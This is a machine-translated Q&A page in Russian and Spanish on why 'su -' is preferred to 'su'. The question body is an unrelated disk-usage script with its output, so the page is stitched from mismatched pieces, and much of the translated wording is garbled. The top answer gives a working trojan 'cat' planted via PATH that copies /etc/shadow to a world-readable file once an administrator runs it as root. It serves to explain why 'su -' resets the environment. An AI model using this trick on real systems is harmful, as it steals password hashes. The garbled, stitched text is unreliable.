Почему мы используем su - и не просто su?

Вот то, что я использую на Ubuntu 10.04, CentOS 5.5, FreeBSD и Mac OS X.

Я одолжил идею у www.geekology.co.za/и earthinfo.org, а также печально известных уток от "Взломов Сервера Linux" O'Reilly. Я все еще адаптирую его к своим потребностям. Это - все еще происходящая работа (Как в, я работал над этим на поезде этим утром.):

#! /usr/bin/env bash
ducks () {
    du -cks -x | sort -n | while read size fname; do
        for unit in k M G T P E Z Y; do
            if [ $size -lt 1024 ]; then
                echo -e "${size}${unit}\t${fname}"
                break
            fi
            size=$((size/1024))
        done
    done
}
ducks > .ducks && tail .ducks

Вот вывод:

stefan@darwin:~ $ ducks
32M src
42M .cpan
43M .macports
754M    doc
865M    Work
1G  .Trash
4G  Library
17G Downloads
30G Documents
56G total

stefan@darwin:~ $

186
28.02.2012, 10:08
4 ответа

su - вызывает оболочку входа в систему после переключения пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую основу.

su просто переключает пользователя, предоставляя нормальной оболочке среду почти то же как со старым пользователем.

Вообразите, Вы - разработчик программного обеспечения с доступом обычного пользователя к машине, и Ваш неосведомленный администратор просто не предоставит Вам корневой доступ. Давайте (надо надеяться), обманем его.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Теперь, Вы спрашиваете своего администратора, почему Вы не можете cat фиктивный файл в Вашей домашней папке, это просто не будет работать!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Если Ваш администратор не настолько умен или просто немного ленив, он мог бы подойти к Вашему столу и попробовать своими полномочиями суперпользователя:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Ничего себе! Спасибо, супер администратор!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Он, он.

Вы, возможно, заметили что поврежденный $PATH переменная не была сброшена. Этого не произошло бы, если администратор вызвал su - вместо этого.

249
27.01.2020, 19:28
  • 1
    su -- совпадает с su. –  Mikel 07.02.2011, 22:08
  • 2
    флаг, который большинство программ интерпретирует как "ничто после того, как это должно быть взято в качестве флага". Полезный для того, чтобы схватить для вещей, которые запускаются с тире. –  David Mackintosh 09.02.2011, 06:43
  • 3
    Не забывайте устанавливать umask как 000 или это не будет работать. –  Lekensteyn 22.10.2011, 11:48
  • 4
    Можно было также просто поместить a su файл в ПУТИ. Не настолько трудно подражать поведению реального su. Суперпользователь был небрежен так или иначе, :-) –  Stéphane Gimenez 28.02.2012, 20:53
  • 5
    su -- не то же как su - : -- говорит getopt (s) (или подобный) обработчик опций прекращать обрабатывать командную строку для дальнейших опций (полезный, например, если остальное содержит имена файлов, которые могли бы запуститься с '-'). Т.е., в "комнате-i-f":-f затем рассматривают как регулярный аргумент, таким образом, здесь как название файла к rm -i, и не как дополнительное -fопция к rm команда. Так su -- справедливо su и нет su - ! так su -- было бы так же небезопасно к (забавный и поучительный) пример, данный взмахом. Использовать su -. –  Olivier Dulac 26.12.2012, 17:05

su - журналы Вы в полностью как корень, тогда как su делает его так, Вы симулируете быть корнем.

Самый очевидный пример этого - это ~ корневой каталог корня, если Вы используете su -, но Ваш собственный корневой каталог, если Вы используете su.

В зависимости от Вашей системы это может также означать различия в подсказке, PATH, или файл истории.

Таким образом, если Вы - часть команды, администрирующей систему, и Ваш коллега дает Вам команду для выполнения, Вы знаете, что она будет работать то же, если Вы будете оба использовать su -, но если Вы оба используете su, могут быть различия из-за Вас имеющий различные конфигурации оболочки.

С другой стороны, если Вы хотите выполнить команду как корень, но использование Вашей собственной конфигурации, затем возможно, su лучше для Вас.

Также не забывайте о sudo, который имеет a -s опция запустить оболочку, работающую как корень. Конечно, это имеет различные правила также, и они изменяются, в зависимости от которого распределения Вы используете.

36
27.01.2020, 19:28
  • 1
    , когда я "su" я получаю ~ и $HOME обе оценки к корню/. Поведение, Вы описываете характерный для определенных оболочек или версий ОС или чего-то? Это - мое понимание, что ~ может быть расширен ядром. У меня есть zsh как мой (и корень) оболочка. –  JasonWoof 08.02.2011, 02:05
  • 2
    Ваш .bashrc или /etc/bashrc или /etc/profile.d сценарии устанавливают PATH. Искать if [ $UID -eq 0 ] или что-то как этот. от –  Mikel 08.02.2011, 03:14
  • 3
    $USER например, оставлен без изменений. –  peterph 30.01.2014, 13:13
  • 4
    Что относительно sudo su? –  Simon Kuang 18.07.2014, 23:10
  • 5
    Ваш пример не работает на меня. Я разрешил тот же каталог в так или иначе. –  Daniel W. 18.04.2016, 17:45

Uso su --cuando estoy en un directorio como usuario normal pero quiero cambiar a raíz y permanecer en el mismo directorio después del cambio. Cuando usa su -, cambia al usuario a root y también lo lleva a /root, que es el directorio de inicio raíz.

2
27.01.2020, 19:28

La principal diferencia es:

su - usernameconfigura el entorno de shell como si fuera un inicio de sesión limpio como el usuario especificado, accede y utiliza las variables de entorno de los usuarios especificados,

su usernamesimplemente inicia un shell con la configuración actual del entorno para el usuario especificado.

Si el nombre de usuario no se especifica con suy su -, la cuenta raíz está implícita como predeterminada.

5
27.01.2020, 19:28

Теги

Похожие вопросы